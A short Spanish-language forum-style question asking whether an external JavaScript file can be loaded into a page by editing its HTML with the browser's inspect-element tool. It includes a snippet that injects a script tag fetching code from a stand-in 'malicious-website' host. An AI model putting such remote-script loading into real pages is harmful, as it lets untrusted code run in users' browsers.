¿Es posible cargar un script JS externo a través de la función "inspeccionar elementos"?

1. Abrir elemento de inspección

2. Haga clic con el botón derecho en la etiqueta del cuerpo, o donde sea, luego edite como HTML como este:

   <button onclick="loadScript();">;Click to load external script.</button>
   <script>
   function loadScript() {
       var script = document.createElement('script');
   
       script.setAttribute('type', 'text/javascript');
       script.setAttribute('src', 'http://malicious-website/malicious-script.js');
       document.head.appendChild(script);
   }
   </script>
   

Entonces, ¿es posible este tipo de ataque?